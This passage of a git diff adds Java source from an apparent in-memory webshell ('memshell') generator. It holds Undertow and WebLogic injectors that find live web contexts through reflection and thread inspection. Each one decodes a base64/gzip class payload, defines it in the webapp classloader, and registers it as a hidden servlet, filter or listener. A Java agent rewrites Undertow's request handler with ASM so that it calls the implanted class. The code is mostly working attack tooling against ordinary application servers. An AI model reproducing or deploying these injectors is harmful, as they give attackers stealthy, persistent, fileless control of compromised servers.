+        List<?> allListeners = (List<?>) getFieldValue(getFieldValue(getFieldValue(context, "deployment"), "applicationListeners"), "allListeners");
+        if (allListeners != null) {
+            for (Object allListener : allListeners) {
+                Class<?> listener = (Class<?>) getFieldValue(getFieldValue(allListener, "listenerInfo"), "listenerClass");
+                if (listener != null) {
+                    if (listener.getName().contains(getClassName())) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java

@@ -0,0 +1,219 @@
+package com.reajason.javaweb.memshell.injector.undertow;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class UndertowServletHandlerAgentInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "io/undertow/servlet/handlers/ServletInitialHandler";
+    private static final String TARGET_METHOD_NAME = "handleFirstRequest";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new UndertowServletHandlerAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+                System.out.println("MemShell Agent is working at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest");
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            defineTargetClass(loader);
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Throwable e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Throwable e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java

@@ -0,0 +1,201 @@
+package com.reajason.javaweb.memshell.injector.undertow;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/21
+ */
+public class UndertowServletInjector {
+    static {
+        new UndertowServletInjector();
+    }
+
+    public UndertowServletInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object servlet = getShell(context);
+                inject(context, servlet);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null);
+                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
+                if (servletContext != null) {
+                    contexts.add(servletContext);
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            Object deploymentInfo = getFieldValue(context, "deploymentInfo");
+            return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    public void inject(Object context, Object servlet) throws Exception {
+        Object deploymentImpl = getFieldValue(context, "deployment");
+        Object managedServlets = invokeMethod(deploymentImpl, "getServlets", null, null);
+        Object servletHandler = invokeMethod(managedServlets, "getServletHandler", new Class[]{String.class}, new Object[]{getClassName()});
+        if (servletHandler != null) {
+            System.out.println("servlet already injected");
+            return;
+        }
+
+        Class<?> servletInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.ServletInfo");
+        Object deploymentInfo = getFieldValue(context, "deploymentInfo");
+        Object servletInfo = servletInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), servlet.getClass());
+        invokeMethod(servletInfo, "addMapping", new Class[]{String.class}, new Object[]{getUrlPattern()});
+
+        invokeMethod(managedServlets, "addServlet", new Class[]{servletInfoClass}, new Object[]{servletInfo});
+        invokeMethod(deploymentInfo, "addServlet", new Class[]{servletInfoClass}, new Object[]{servletInfo});
+
+        Object servletPaths = invokeMethod(deploymentImpl, "getServletPaths", null, null);
+        Object data = invokeMethod(servletPaths, "setupServletChains", null, null);
+        setFieldValue(servletPaths, "data", data);
+        System.out.println("servlet inject success");
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java

@@ -0,0 +1,261 @@
+package com.reajason.javaweb.memshell.injector.weblogic;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class WebLogicFilterInjector {
+
+    static {
+        new WebLogicFilterInjector();
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public WebLogicFilterInjector() {
+        try {
+            Object[] contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getShell(context);
+                inject(context, filter);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public static Object[] getContextsByMbean() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
+        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
+        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
+        theOneMethod.setAccessible(true);
+        Object serverRuntime = theOneMethod.invoke(null);
+        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
+        getApplicationRuntimesMethod.setAccessible(true);
+        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
+        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
+        for (int i = 0; i < applicationRuntimeSize; i++) {
+            Object applicationRuntime = Array.get(applicationRuntimes, i);
+            try {
+                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
+                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
+                int componentRuntimeSize = Array.getLength(componentRuntimes);
+                for (int j = 0; j < componentRuntimeSize; j++) {
+                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
+                    if (webAppServletContextClass.isInstance(context)) {
+                        webappContexts.add(context);
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+
+            try {
+                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
+                for (Object componentRuntime : childrenSet) {
+                    try {
+                        Object context = getFieldValue(componentRuntime, "context");
+                        if (webAppServletContextClass.isInstance(context)) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContextsByThreads() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread != null) {
+                Object workEntry = getFieldValue(thread, "workEntry");
+                if (workEntry != null) {
+                    try {
+                        Object context = null;
+                        Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                        if (connectionHandler != null) {
+                            Object request = getFieldValue(connectionHandler, "request");
+                            if (request != null) {
+                                context = getFieldValue(request, "context");
+                            }
+                        }
+                        if (context == null) {
+                            context = getFieldValue(workEntry, "context");
+                        }
+
+                        if (context != null) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    /**
+     * weblogic.servlet.internal.WebAppServletContext
+     * /opt/oracle/wls1036/server/lib/weblogic.jar
+     * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
+     */
+    public static Object[] getContext() {
+        Set<Object> webappContexts = new HashSet<Object>();
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
+        } catch (Throwable ignored) {
+        }
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
+        } catch (Throwable ignored) {
+        }
+        return webappContexts.toArray();
+    }
+
+    public ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "classLoader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    public void inject(Object context, Object filter) throws Exception {
+        if (isInjected(context)) {
+            System.out.println("filter already injected");
+            return;
+        }
+        Object filterManager = invokeMethod(context, "getFilterManager", null, null);
+        Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
+        Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
+        cachedClasses.put(getClassName(), filter.getClass());
+        invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
+        List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
+        Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
+        filterPatternList.add(0, currentMapping);
+        System.out.println("filter inject successful");
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object context) throws Exception {
+        Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
+        for (Object obj : filters.keySet()) {
+            if (obj.toString().contains(getClassName())) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException();
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java

@@ -0,0 +1,243 @@
+package com.reajason.javaweb.memshell.injector.weblogic;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+
+/**
+ * @author ReaJason
+ */
+public class WebLogicListenerInjector {
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    static {
+        new WebLogicListenerInjector();
+    }
+
+    public WebLogicListenerInjector() {
+        try {
+            Object[] contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getShell(context);
+                inject(context, listener);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    static Object[] getContextsByMbean() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
+        Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
+        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
+        theOneMethod.setAccessible(true);
+        Object serverRuntime = theOneMethod.invoke(null);
+        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
+        getApplicationRuntimesMethod.setAccessible(true);
+        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
+        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
+        for (int i = 0; i < applicationRuntimeSize; i++) {
+            Object applicationRuntime = Array.get(applicationRuntimes, i);
+            try {
+                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
+                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
+                int componentRuntimeSize = Array.getLength(componentRuntimes);
+                for (int j = 0; j < componentRuntimeSize; j++) {
+                    Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
+                    if (webAppServletContextClass.isInstance(context)) {
+                        webappContexts.add(context);
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+
+            try {
+                Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
+                for (Object componentRuntime : childrenSet) {
+                    try {
+                        Object context = getFieldValue(componentRuntime, "context");
+                        if (webAppServletContextClass.isInstance(context)) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            } catch (Throwable ignored) {
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContextsByThreads() throws Throwable {
+        Set<Object> webappContexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread != null) {
+                Object workEntry = getFieldValue(thread, "workEntry");
+                if (workEntry != null) {
+                    try {
+                        Object context = null;
+                        Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
+                        if (connectionHandler != null) {
+                            Object request = getFieldValue(connectionHandler, "request");
+                            if (request != null) {
+                                context = getFieldValue(request, "context");
+                            }
+                        }
+                        if (context == null) {
+                            context = getFieldValue(workEntry, "context");
+                        }
+
+                        if (context != null) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable ignored) {
+                    }
+                }
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContext() {
+        Set<Object> webappContexts = new HashSet<Object>();
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
+        } catch (Throwable ignored) {
+        }
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
+        } catch (Throwable ignored) {
+        }
+        return webappContexts.toArray();
+    }
+
+    public ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "classLoader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            return clazz.newInstance();
+        }
+    }
+
+    public void inject(Object context, Object listener) throws Exception {
+        if (isInjected(context)) {
+            System.out.println("listener already injected");
+            return;
+        }
+        Object eventsManager = getFieldValue(context, "eventsManager");
+        invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{getClassName()});
+        System.out.println("listener inject successful");
+    }
+
+    @SuppressWarnings("unchecked")
+    public boolean isInjected(Object context) throws Exception {
+        List<Object> requestListeners = (List<Object>) getFieldValue(getFieldValue(context, "eventsManager"), "requestListeners");
+        for (Object requestListener : requestListeners) {
+            if (requestListener.getClass().getName().contains(getClassName())) {
+                return true;
